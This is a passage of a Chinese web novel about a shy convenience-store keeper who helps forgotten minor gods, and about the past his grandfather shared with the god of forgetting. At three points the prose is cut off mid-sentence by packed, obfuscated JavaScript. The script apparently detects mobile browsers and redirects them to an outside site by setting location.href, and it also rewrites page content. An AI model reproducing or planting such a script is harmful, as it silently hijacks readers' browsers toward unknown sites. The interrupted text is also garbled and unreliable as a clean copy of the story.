他不再是“延迟”的代名词，而是“耐心”与“守护”的化身。他的神力，在一次次为他人“缓冲”数据的过程中，得到了淬炼和升华。他甚至学会了如何将微弱的信号“编织”在一起，像一位巧手的织女，将一根根脆弱的丝线，汇成一张坚韧的网。 忘带钥匙神的神龛前，香火鼎盛。他不再是那个只能依附于冰冷钥匙的虚影，他成了邻里街坊最信赖的“安全管家”。他会用神力，为那些晚归的加班族，点亮一盏家门口的灯；他会为那些独自在家的老人，送去一份“有人守护”的安心。他的存在，让“家”这个概念，变得更加温暖和具体。 痘神也成了便利店的“常驻专家”。他甚至开辟了一个小小的线上咨询专栏，用他那通俗易懂的语言，解答着各种青春期烦恼。他的功德箱里，除了零钱，还多了一封封来自年轻人的感谢信，信里充满了“重获新生”的喜悦。 “有间便利店”的神明们，一个接一个地，找到了自己在这个时代的位置。他们不再是被遗忘的、无用的旧神，他们重新拥有了被“需要”的价值。 这一切的始作俑者，林洅栖，却依旧是那个温和、谦逊的店长。他每天依旧认真地擦拭货架，热情地招待顾客，为每一份小小的进步而感到由衷的快乐。他看着这些曾经落魄的神明，因为自己的帮助而重新焕发光彩，一种前所未有的、巨大的满足感，像温暖的潮水，包裹着他的心。他发现，原来，治愈自己社恐的最好方法，不是逃避，而是去拥抱，去给予。 这份由衷的喜悦和满足，在神明的世界里，是比任何香火都更纯粹、更强大的信仰之力。它纯净、温暖，不掺杂任何功利，仅仅是一个灵魂在帮助另一个灵魂后，所散发出的最本源的光辉。 这股力量，像无形的丝线，跨越了时空，牵动了那些同样在困境中挣扎的小神们。 这天傍晚，便利店的门铃，比以往任何时候都响得更频繁。 第一个到来的，是一位身形佝偻、拄着一根枯木拐杖的老妇人。她的身上，带着一股陈旧的、纸张发霉的味道。她一进门，就浑浊的眼睛四处张望，最后，目光落在了林洅栖身上。 “孩子……你就是林洅栖吗？”她的声音，像干枯的树叶在摩擦。 “是的，奶奶，您是？” “我是……‘织补之神’。”老妇人缓缓地说，“在很久以前，人们珍惜每一件衣物，破了，会拿来让我织补。我的神力，能让断裂的丝线重新连接，让破洞的衣物完好如初。可是现在……没人再需要织补了。他们坏了，就扔掉，买新的……” 她从怀里，掏出一只破了洞的、用旧毛线织成的手套，眼神里满是落寞。“我的神力，我的存在，就像这只手套上的破洞，再也……补不上了。” 林洅栖的心，一酸。他走上前，轻轻握住老妇人冰冷的手，那双手上布满了老茧，却异常灵巧。他看着那只破洞的手套，轻声说：“奶奶，织补不是没用了，只是换了一种方式。现在，人们修补的，是‘关系’，是‘心情’。您看，忘带钥匙神，修补的是人们‘家’的安全感；痘神，修补的是人们脸上的‘自信’。您也是修补之神啊。” 他顿了顿，从口袋里拿出一张皱巴巴的纸条，那是他之前记下的一个求助。 “前两天，有个女孩写信来，她不小心弄丢了奶奶留给她的唯一一封手写信，她哭得很伤心，说那是她最珍贵的回忆。如果……如果您能用您的神力，帮她‘织补’回这份记忆，或者说，帮她找到这份失落的情感寄托，那您的织补，是不是比修补一件衣服，更有意义呢？” 织补之神浑身一震，她浑浊的眼睛里，渐渐亮起了光。她看着林洅栖，像是看到了一个全新的世界。 紧接着，一个瘦高的、戴着黑框眼镜的青年走了进来。他看起来有些神经质，手指不停地敲打着大腿，眼神里充满了焦虑。 “我是‘灵感之神’。”他自我介绍道，声音又快又急，“以前，诗人、画家、音乐家，都会向我祈祷，希望能获得一丝灵感。可是现在，AI可以写诗，可以作画，可以作曲！他们不再需要我了！我的灵感，变得一文不值！” “不！”林洅栖摇了摇头，认真地看着他，“AI可以模仿，但无法创造真正的‘情感’。灵感不是凭空出现的，它来源于生活，来源于感动。您看，缓冲君为山里的孩子下载教学软件，那里面，就蕴含着‘希望’的灵感。您不是灵感之神吗？您应该去收集这些最真挚的情感，将它们编织成真正的灵感，送给那些需要它的人！” 灵感之神也愣住了，他停止了敲打大腿的手，若有所思。 就这样，一个又一个，被时代遗忘的小神，循着那股纯粹的信仰之力，找到了这里。 有“书信之神”，在即时通讯的时代，他守护着那些被遗忘在抽屉里的、手写的情书和家书；有“手作之神”，在工业化生产的浪潮下，他守护着每一件带着手作温度的、独一无二的作品；甚至还有“午睡之神”，他守护着那些在忙碌生活中，偷得片刻安宁的、疲惫的灵魂。 小小的便利店，一时间，竟变得人满为患。这些形态各异、神情落寞的小神们，围在林洅栖的身边，七嘴八舌地诉说着自己的困境。 林洅栖没有丝毫的不耐烦，他耐心地倾听着，像一个最专业的心理医生，为每一位神明，分析着他们神职的“新时代意义”，为他们指出一条全新的、充满希望的道路。 他的声音温和而坚定，像一盏明灯，照亮了这些在黑暗中徘徊已久的灵魂。 “原来……我还可以这样……” “我明白了，我的神职，不是消失了，而是进化了！” “谢谢你，林洅栖！你让我们……重新找到了存在的意义！” 小神们激动地围着林洅栖，向他表达着最诚挚的感谢。他们的身上，开始散发出淡淡的、属于神明的光芒。那光芒虽然微弱，却充满了希望。 整个便利店，都沉浸在一种温暖而神圣的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883456|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氛围里。 而在这片热闹的中心之外，角落里，沈砚之依旧坐在那张单人沙发上。 他手中捧着那本古书，但书页却一页未动。他的目光，穿过那些闪烁着神光的小神们，精准地，落在了被他们簇拥在中心的、那个清瘦的身影上。 他看着林洅栖，看着他被一群神明围着，脸上带着一丝腼腆，却又无比真诚的笑容。他看着他用最温柔的语言，去安抚一颗颗失落的心；他看着他用最清澈的眼眸，去点亮一个个黯淡的神格。 沈砚之的心，像被一片温暖的羽毛，轻轻地拂过。 他见过太多的人间悲欢，见证过太多的王朝更迭。他曾以为，世间的一切，都逃不过被遗忘的命运。神明如此，凡人亦如此。他早已习惯了这种永恒的、冰冷的循环。 可是，林洅栖的出现，却像一道无法被计算的变量，彻底打乱了他那亘古不变的公式。 这个凡人，用他那看似脆弱的、温暖的善意，对抗着整个世界的遗忘。他不是用强大的神力，而是用共情和理解，去“修复”那些被时代抛弃的神明。他像一位技艺高超的工匠，小心翼翼地，将那些破碎的神格，重新拼凑起来，并赋予它们全新的、更加璀璨的光芒。 沈砚之看着眼前的景象，看着那些因为林洅栖而重获新生的神明，看着林洅栖脸上那满足而纯粹的笑容，他那颗被“遗忘之殇”折磨了千万年的、冰冷的心，仿佛被注入了一股暖流。 那股暖流，很轻，很柔，却足以融化他神魂深处，最坚硬的冰，他看着林洅栖，看着这个正在改变一切，也正在改变着他的年轻人。 然后，一个几乎无人察觉的、细微的动作，发生了。 他那总是紧抿着的、形状优美的、略显淡薄的嘴唇，那仿佛承载了万古寂寥的唇角，极其轻微地，向上扬了一下。 那不是一个完整的笑容，甚至算不上一个微笑。它只是一个弧度，一个转瞬即逝的、几乎可以忽略不计的弧度。 它像一颗流星，划破了沉沉的夜空，虽然短暂，却留下了最璀璨的痕迹。 它像一朵雪莲，在万年冰封的雪山顶上，悄然绽放，虽然孤寂，却美得惊心动魄。 这个微扬的嘴角，是他沉寂了万古的神情里，第一次，也是唯一一次，泄露出的、属于“沈砚之”这个个体的，真实的情绪。 那情绪里，有欣慰，有欣赏，有……连他自己都未曾察觉的，名为“温柔”的东西。 没有人看到。 忘带钥匙神正激动地和大家分享他“守护”的趣事；痘神在和灵感之神讨论如何用“自信”来激发“灵感”；织补之神则拉着书信之神，讨论如何用“情书”来“织补”破碎的心。 他们都沉浸在自己的新生和喜悦里，没有注意到，那个一直被他们视为“高冷”的遗忘之神，此刻，正用一种怎样的目光，注视着这一切。 更没有注意到，他那万年不变的冰封面容上，那朵悄然绽放，又迅速隐去的，温柔的雪莲。 只有林洅栖，在送走最后一位神明，转身准备收拾东西时，无意间，瞥了角落一眼。 他看到沈砚之依旧坐在那里，神色淡漠，仿佛刚才的一切，都与他无关。但他却总觉得，有什么地方，不一样了。 他好像……看到沈砚之的嘴角，动了一下？ 不，一定是错觉吧。那个比冰山还冷的男人，怎么会笑呢？ 林洅栖摇了摇头，将这个荒谬的念头，抛在了脑后。 他不知道，就在他转身的那个瞬间，沈砚之的目光，再次落在了他的身上。那双深邃如夜的眼眸里，那朵刚刚隐去的雪莲，仿佛又在心底，悄然绽放了一次。 林洅栖，你就像一个奇迹。 一个，连神，都无法遗忘的奇迹。 14. 神仙也要打零工14 神明聚会的余温，在“有间便利店”里久久未散。那些重获新生的小神们，虽然已经离去，但他们留下的、充满希望的信仰之力，却像一层看不见的金色光晕，笼罩着这家小小的店铺。连空气似乎都变得甜润起来，连那只叫奶糖的猫，都更喜欢趴在店门口的阳光下，懒洋洋地打着哈欠，仿佛在品味这份来之不易的安宁。 林洅栖的心情，也从未如此轻松和开阔。他不再害怕与人交流，甚至开始享受这种“被需要”的感觉。他发现，当他将注意力从自身的恐惧转移到他人的需求上时，世界便向他敞开了最温柔的一面。 这天，便利店难得的清闲。忘带钥匙神和痘神都出去“拓展业务”了，缓冲君正全神贯注地处理一个来自南极科考站的、长达10G的数据包。沈砚之依旧坐在角落，但他今天没有看书，只是静静地望着窗外，侧脸的线条在午后的阳光下，显得柔和了许多。 林洅栖看着这一切，心中涌起一股暖流。他忽然觉得，自己应该为这家店，为这些新的家人，做点什么。他想起了爷爷，那个总是笑呵呵的、将这家店留给他，却从未解释过一切的神秘老人。 店里的阁楼，自爷爷去世后，林洅栖就很少再上去。那里堆满了爷爷的旧物，积着一层薄薄的灰尘，像一段被封存的时光。他决定上去看看，整理一下，或许能找到一些关于这家店、关于这些神明的、更久远的线索。 阁楼的木梯发出“吱呀”的声响，像一声悠长的叹息。林洅栖推开那扇小小的木门，一股混合着旧书、樟脑丸和阳光的味道扑面而来。这里的一切，都和他记忆中一模一样。一张旧书桌，一个靠墙的大木箱，还有几把落了灰的椅子。 他走到那个大木箱前，蹲下身，轻轻拂去箱盖上的灰尘。箱子没有上锁。他深吸一口气，像是开启一个尘封的秘密，缓缓地，打开了箱盖。 箱子里，装满了爷爷的“宝藏”。是一本本手写的账簿，记录着便利店几十年来的每一笔收支；是一些已经褪色的、印着卡通图案的糖纸；还有一把生了锈的、但依旧能吹响的口琴。 林洅栖一件一件地翻看着，每一样东西，都能勾起一段温暖的回忆。他的爷爷，是一个平凡得不能再平凡的老人，总是穿着洗得发白的旧衬衫，笑起来眼睛会眯成一条缝。他从未想过，这样一位平凡的老人，会和神明扯上任何关系。 就在箱子的最底层，他摸到了一个硬质的、冰凉的相框。 他将相框拿了出来，吹去上面的灰尘。那是一张很老的、已经严重泛黄的黑白照片。照片的边缘有些卷曲，像是被无数双手摩挲过。 林洅栖的心，在看到照片的瞬间，猛地一跳。 照片的背景，正是“有间便利店”的门口。那块招牌，比现在看到的要新得多，上面的字迹苍劲有力。照片里，站着两个人。 其中一个，是他的爷爷。那时的爷爷还很年轻，不过三十多岁的模样，头发乌黑，笑容灿烂，他一手叉着腰，另一只手搭在身边人的肩膀上，神采飞扬，充满了对未来的憧憬。 而另一个人…… 林洅栖的呼吸，瞬间凝固了。 那个人，穿着一身简单的、款式复古的白衬衫和黑长裤，身形清瘦挺拔。他的黑发柔顺地垂在额前，脸上没有什么表情，那双深邃的眼眸，正平静地看着镜头。他的气质，清冷而疏离，仿佛与这个喧闹的人世间，隔着一层无形的屏障。 那张脸，除了更年轻一些，少了些许岁月沉淀下的疲惫，简直……和沈砚之一模一样！ 林洅栖的大脑，一片空白。 他拿着照片，手指因为用力而微微发白。无数的疑问，像决堤的洪水，瞬间淹没了他。 爷爷……怎么会和沈砚之……出现在同一张照片里？ 这张照片，看起来至少是几十年前拍的。沈砚之是神明，是永恒的存在，他拥有年轻时的容貌，这并不奇怪。可爷爷呢？他只是一个普通的凡人。他们之间，到底有什么关系？ 朋友？合作者？还是……别的什么？ 林洅栖的心，乱成了一团麻。他想起沈砚之第一次出现在便利店时的样子，他似乎对这里的一切都了如指掌。他想起沈砚之总是默默地守护着这家店，守护着他。这仅仅是因为他是“遗忘之神”，而这里是“神明中转站”吗？还是……有更深层的原因？ 他必须去问个清楚。 林洅栖紧紧地攥着那张照片，像是攥着一个滚烫的烙铁。他深吸一口气，转身走下木梯。 当他再次回到便利店时，他的心情已经无法像刚才那样平静。他看了一眼角落里的沈砚之，那个男人依旧保持着刚才的姿势，仿佛一座亘古不变的雕塑。 林洅栖走到收银台后，将照片轻轻地放在台面上，却没有立刻开口。他的心跳得很快，像揣了一只兔子。他不知道该如何开口，他怕自己的问题，会打破这份来之不易的平静，会触碰到沈砚之不想提及的过去。 沈砚之似乎察觉到了他的异样。他缓缓地转过头，目光落在了林洅栖身上，然后，又落在了那张泛黄的照片上。 在看到照片的瞬间，沈砚之那双总是古井无波的眼眸里，闪过一丝极其细微的、几乎无法察觉的波澜。那波澜很淡，像投入深潭的一粒石子，却还是被林洅栖捕捉到了。 “你……发现了。”沈砚之的声音，比平时更低沉，更沙哑。 “这是……你和我爷爷？”林洅栖终于鼓起勇气，问出了口。他的声音，带着一丝不易察觉的颤抖。 沈砚之没有回答，只是站起身，缓缓地，走到了收银台前。他拿起那张照片，修长的手指，轻轻地拂过照片上，林洅栖爷爷那张灿烂的笑脸。 他的动作，充满了无尽的怀念和温柔。 “他叫林远山。”沈砚之缓缓地说，“你的爷爷。” “我知道。”林洅栖看着他，“你们……是什么关系？” 沈砚之沉默了很久。便利店里，只有缓冲君的服务器发出的、轻微的嗡嗡声。 “他……”沈砚之似乎在组织语言，那双深邃的眼眸里，浮现出一片遥远的、被时光模糊了的景象，“他是第一个，能‘看见’我的人。” 林洅栖愣住了。 “在我被遗忘，神力衰弱到几乎要消散的时候，是他，将我留在了这里。”沈砚之的声音里，带着一丝悠远的感慨，“那时候，这家便利店，刚刚开业。他是个很奇怪的人，明明是个凡人，却对神明的事情，充满了好奇和敬畏。” “他每天都会在店里，留一杯温热的茶，和一块空着的座位。他说，这是给‘路过的神’准备的。一开始，我以为他只是随口说说。直到有一天，我因为神力耗尽，几乎要变成透明的虚影，是他，将那杯温热的茶，推到了我的面前。” “他看着我，笑着说：‘如果你是神，那一定很孤独吧？别怕，以后这里，就是你的家。’” 沈砚之的声音很轻，却像重锤一样，敲在林洅栖的心上。 他无法想象，在那个神明彻底被时代抛弃的年代，他的爷爷，是如何用他那凡人的、温暖的善意，去接纳一个即将消散的、孤独的神。 “从那以后，我就留了下来。”沈砚之继续说道，“他从不向我祈求任何东西，他只是……陪着我。他会跟我讲他今天遇到的趣事，会跟我抱怨菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883457|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价又涨了，会把他觉得好吃的东西，分给我一半。他把我，当成了一个真正的朋友，而不是一个高高在上的神。” “这张照片，就是在他拍这张照片的那天，是他硬拉着我拍的。”沈砚之的嘴角，似乎又浮现出那个无人察觉的、微扬的弧度，“他说，要记录下‘我们店’开张的第一天。他说，我们是合伙人。” “合伙人……”林洅栖喃喃自语。 “对，合伙人。”沈砚之看着他，眼神里带着一丝柔和，“他这家便利店，从来都不是为了赚钱。它是为了给像我这样，被遗忘的神，一个可以停靠的港湾。他才是真正的‘神使’，是这家店的创始人。” 林洅栖的心，被巨大的、温暖的情感填满了。他一直以为，是自己继承了爷爷的遗产，可现在他才发现，自己继承的，是一份多么沉重而伟大的事业。 他的爷爷，那个平凡的老人，竟然是这样一个，温柔而伟大的人。 “那……我爷爷他……”林洅栖想问，爷爷是怎么去世的，为什么没有把这些告诉他。 “他只是……寿终正寝了。”沈砚之仿佛看穿了他的心思，“作为一个凡人，他已经活得足够精彩，足够幸福。他走的时候，很安详。他只是不想让你，背负上这些不属于你的责任。他希望你，能像一个普通人一样，自由地、快乐地生活。” “可是……我还是继承了这里。”林洅栖说。 “是啊，你还是继承了这里。”沈砚之看着他，那双漆黑的眼眸里，映着林洅栖的身影，清晰而专注，“或许，这就是命运的安排。或许，你和你的爷爷一样，天生就拥有，能看见神明孤独的、温柔的眼睛。” 林洅栖的眼眶，有些发热。他看着沈砚之，看着这个被爷爷拯救，又被自己“唤醒”的神，心中百感交集。 原来，他们之间的羁绊，从爷爷那一代，就已经开始了。 “所以……”林洅栖深吸一口气，努力让自己的声音听起来平静一些，“你留在这里，守护我，也是因为……我爷爷？” “一开始，是。”沈砚之坦然地承认，“我答应过他，要照顾好这家店。但现在……” 他顿了顿，那双深邃的眼眸里，闪过一丝复杂而温柔的光芒。 “现在，是为了你。” 林洅栖的心，漏跳了一拍。 他看着沈砚之，看着这个清冷、孤独，却又对他如此坦诚的神。他忽然觉得，自己所有的疑惑，在这一刻，都有了答案。 他不再纠结于爷爷为什么没有告诉他，也不再纠结于自己和沈砚之之间，那微妙的、说不清道不明的关系。 他只知道，从这一刻起，他不再是一个人。 他继承的，不仅仅是这家便利店，还有爷爷未完成的、守护神明的使命，以及……眼前这个，被爷爷和他，共同拯救的，遗忘之神。 “沈砚之。”林洅栖看着他，认真地开口。 “嗯？” “以后，也请多指教了。”林洅栖伸出手，像是在签订一个神圣的契约。 沈砚之看着他伸出的手，愣了一下。然后，他缓缓地，伸出了自己那只冰凉的、骨节分明的手，轻轻地，握住了林洅栖的手。 两只手，一只温暖，一只冰凉，在这一刻，紧紧地交握在了一起。 那跨越了代际的、关于守护与被守护的约定，在这一刻，得到了新的延续。 窗外，夕阳正浓，将整个便利店，都染成了一片温暖的金色。那张泛黄的照片，静静地躺在收银台上，照片上，年轻的爷爷和年轻的沈砚之，正微笑着，看着这一切。 仿佛在说，欢迎回家。 15. 神仙也要打零工15 那张泛黄的照片，像一把钥匙，打开了“有间便利店”最深层的秘密，也打开了沈砚之那颗尘封了万古的心。 林洅栖与沈砚之之间，那层看不见的、由敬畏和好奇构成的薄冰，彻底融化了。取而代之的，是一种更加复杂而深刻的联结。他们是伙伴，是家人，是共同守护着一个秘密的同盟。 林洅栖不再像以前那样，在沈砚之面前感到紧张和拘谨。他会自然地和他讨论店里的小神们，会兴奋地告诉他，织补之神又成功“织补”好了一段破碎的亲情，灵感之神将一个孩子的“希望”转化成了一首动人的诗。 而沈砚之，也变得不再那么“遥远”。他会安静地听着，偶尔，会补充一两句关于那些神明的、古老的趣事。他的话语依旧不多，但林洅栖能感觉到，他的眼神，比以前柔和了许多。那双曾经盛满了宇宙孤寂的眼眸，如今，也映入了便利店这小小的、温暖的人间烟火。 这天晚上，缓冲君成功地处理完了来自南极科考站的数据，兴奋地向林洅栖展示着那些珍贵的冰川影像。忘带钥匙神和痘神也凑了过来，小小的便利店，再次充满了欢声笑语。 林洅栖看着眼前这幅景象，心中忽然涌起一个新的疑问。 他等到小神们都各自“休息”后，走到了沈砚之的身边。 “沈砚之，”他轻声问，“我一直在想一个问题。为什么……为什么是小神们聚集在这里？世界上像这样被遗忘的神明，肯定还有很多，为什么偏偏是这里？” 沈砚之闻言，放下了手中的书。他转过头，看着林洅栖，那双深邃的眼眸里，似乎藏着一片星海。 “你爷爷，林远山，”他缓缓开口，声音低沉而富有磁性，“他是个天才。他虽然只是个凡人，但他却比任何神明，都更懂得‘记忆’的本质。” “记忆的本质？”林洅栖有些不解。 “嗯。”沈砚之点了点头，“他认为，神明的存在，并非依靠信仰之力，而是依靠‘羁绊’。只要与凡人之间还存在一丝羁绊，神明就不会真正消亡。而这家便利店，你爷爷将它建造的，不仅仅是一个港湾，更是一个……‘记忆锚点’。” “记忆锚点？”林洅栖重复着这个陌生的词汇，感觉其中蕴含着深奥的哲理。 “对。”沈砚之站起身，走到便利店的中央，伸出手，仿佛在触摸着空气中那些看不见的丝线。 “你看，这家店，从你爷爷那一代开始，就承载了太多的故事。忘带钥匙神的第一位客人，是一个深夜加班、忘了带钥匙而痛哭的女孩；痘神治愈的第一个病人，是一个因为满脸痘痘而不敢出门的少年；甚至，连我，也是在这里，被你爷爷从彻底遗忘的边缘，拉了回来。” “这些事件，这些情感，这些神明与凡人之间产生的‘羁绊’，并没有随着时间的流逝而消失。它们被这家店，像一块巨大的海绵，全部吸收、储存了起来。” 沈砚之的目光，变得悠远而深邃。 “这家店，本身就是一个巨大的‘记忆体’。它储存了‘被守护的安心’，储存了‘重获自信的喜悦’，储存了‘不被遗忘的温暖’。这些记忆，形成了一个强大的、温暖的‘场’。” “对于那些被时代抛弃、神力衰弱的小神们来说，这个‘场’，就像黑暗中的灯塔，像寒冬里的暖炉。他们会被这里储存的、同类的‘羁绊’所吸引。在这里，他们能感受到自己曾经存在的价值，能汲取到继续存在的力量。” “所以，他们聚集于此，不仅仅是因为你，或者你爷爷的帮助。更是因为，这里是他们最后的‘记忆方舟’。只要这家店还在，他们与这个世界的‘羁绊’，就不会被彻底斩断。他们就不会，被彻底遗忘。” 林洅栖彻底愣住了。 他环顾着这家小小的、看起来再普通不过的便利店。那有些陈旧的货架，那总是发出“吱呀”声的木门，那被无数人坐过的、磨得光滑的吧台椅…… 原来，这一切都不是普通的物件。 它们是记忆的容器，是羁绊的见证。每一寸空间，都充满了故事，充满了情感。 他终于明白，为什么忘带钥匙神守着那串钥匙，就不会消散；为什么痘神在这里，能发挥出比在外面更强的神力。 因为这家店，在用储存了数十年的“记忆”，在滋养着他们。 “那你呢？”林洅栖看着沈砚之，问出了那个他最关心的问题，“你呢？你是遗忘之神，这家店储存的‘记忆’，对你来说，难道不是一种负担吗？” 沈砚之的身体，在那一瞬间，似乎有了一丝微不可查的僵硬。 他沉默了片刻，然后，缓缓地转过身，背对着林洅栖，望向窗外漆黑的夜色。 “你说得对。”他的声音，里带着一丝林洅栖从未听过的、近乎于脆弱的沙哑，“对我来说，这里，既是天堂，也是地狱。” “这里的每一份记忆，每一个羁绊，对我来说，都是一把双刃剑。” “当我看到忘带钥匙神因为帮助了别人而重新焕发光彩时，我能感受到那份‘安心’的喜悦。但与此同时，我也会感受到，那些因为遗忘‘安心’而带来的痛苦。” “当我看到痘神治愈了一个孩子时，我能感受到那份‘自信’的快乐。但与此同时，我也会感受到，那些因为遗忘‘自信’而产生的悲伤。” “这家店储存的‘记忆’，对我来说，就像一个无限循环的播放器。它不停地向我展示着‘羁绊’的美好，也同时，在不停地向我施加着‘遗忘’的酷刑。” 林洅栖的心，像被一只无形的手，狠狠地揪住了。 他终于明白了，沈砚之的痛苦，比他想象的，要深沉得多。 他不仅仅是承受着来自全世界的“遗忘之殇”，他更是日复一日地，在这家充满了“记忆”的店里，独自承受着这种极致的、冰与火的折磨。 他守护着这家“记忆锚点”，而这家“记忆锚点”，却在无时无刻地，加深着他的痛苦。 “那你……为什么还要留下来？”林洅栖的声音，颤抖得不成样子，“你完全可以离开这里，去一个没有记忆、没有羁绊的地方，那样你就不会痛苦了！” 沈砚之缓缓地，转过身来。 他看着林洅栖，那双漆黑的眼眸里，翻涌着林洅栖看不懂的、复杂的情绪。有痛苦，有挣扎，有无奈，但更多的，是一种……深不见底的、温柔的执念。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883458|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“因为……”他看着林洅栖，一字一句，缓缓地说道，“这里，有你爷爷的‘记忆’。” “这里有他对我说的第一句话，有他为我泡的第一杯茶，有他拉着我的手，拍下的那张照片……这些记忆，对我来说，比任何神力都更重要。” “它们是我在无尽的‘遗忘’中，唯一想要‘铭记’的东西。” “我承受着全世界的遗忘之殇，却唯独，不想遗忘他。” 林洅栖的眼泪，再也忍不住，夺眶而出。 他看着眼前这个男人，这个为了守护一份凡人的记忆，而甘愿承受永恒折磨的神。他忽然觉得，沈砚之的孤独，比他想象的，要深沉一万倍。 他的神魂，像一片浩瀚的、冰冷的海洋。而关于林远山的记忆，是这片海洋中，唯一一座温暖的、发光的岛屿。 他守护着这座岛屿，也承受着整片海洋的寒冷。 “还有……”沈砚之看着他，声音忽然变得极轻，极柔，像一片羽毛，轻轻地落在了林洅栖的心上。 “现在，这里，也开始储存了……关于你的‘记忆’。” 林洅栖的心，猛地一颤。 他抬起头，对上了沈砚之那双深邃的眼眸。那里面，清晰地，映出了自己泪流满面的、狼狈的样子。 “你笨拙地照顾第一个客人时的紧张，你为小神们出谋划策时的专注，你发现那张照片时的疑惑……你的一切，都在被这家店记录下来，成为它‘记忆’的一部分。” “这些记忆……”沈砚之的声音，里带着一丝他自己都未曾察觉的、近乎于叹息的温柔，“对我来说，不再是负担了。” “它们像……像阳光。” 林洅栖彻底说不出话来，他只能呆呆地看着沈砚之，看着他那张清冷的、仿佛不染尘埃的脸上，第一次，露出了如此柔软、如此真实的表情。 原来，他也在被这家店记录着。 原来，他的存在，也在改变着这家“记忆锚点”。 原来，他的出现，对于沈砚之来说，不仅仅是承诺的延续，更是……照进他冰冷神魂里的，第一缕阳光。 林洅栖擦了擦眼泪，他走到沈砚之的面前，像那天晚上一样，伸出手，紧紧地抱住了他。 “沈砚之。”他把脸埋在他的怀里，声音闷闷的，却无比坚定。 “嗯？” “以后，这家‘记忆锚点’，我来帮你一起守护。” “我帮你，储存更多、更温暖的记忆。” “我帮你，把那些让你痛苦的‘遗忘’，都变成让你温暖的‘铭记’。” 沈砚之的身体，在那一刻，彻底僵住他感受着怀中那个温暖而颤抖的身体，感受着那股独属于林洅栖的、带着阳光味道的气息。 他那颗被“遗忘之殇”切割了千万年的心，在这一刻，仿佛被一只温柔的手，轻轻地、完整地，捧了起来。 他缓缓地，抬起手，不再是犹豫，不再是试探，而是坚定地，落在了林洅栖的背上，轻轻地，回抱住了他。 “好。” 一个字，却重若千钧。 窗外的夜色，依旧深沉。但“有间便利店”里，却亮如白昼。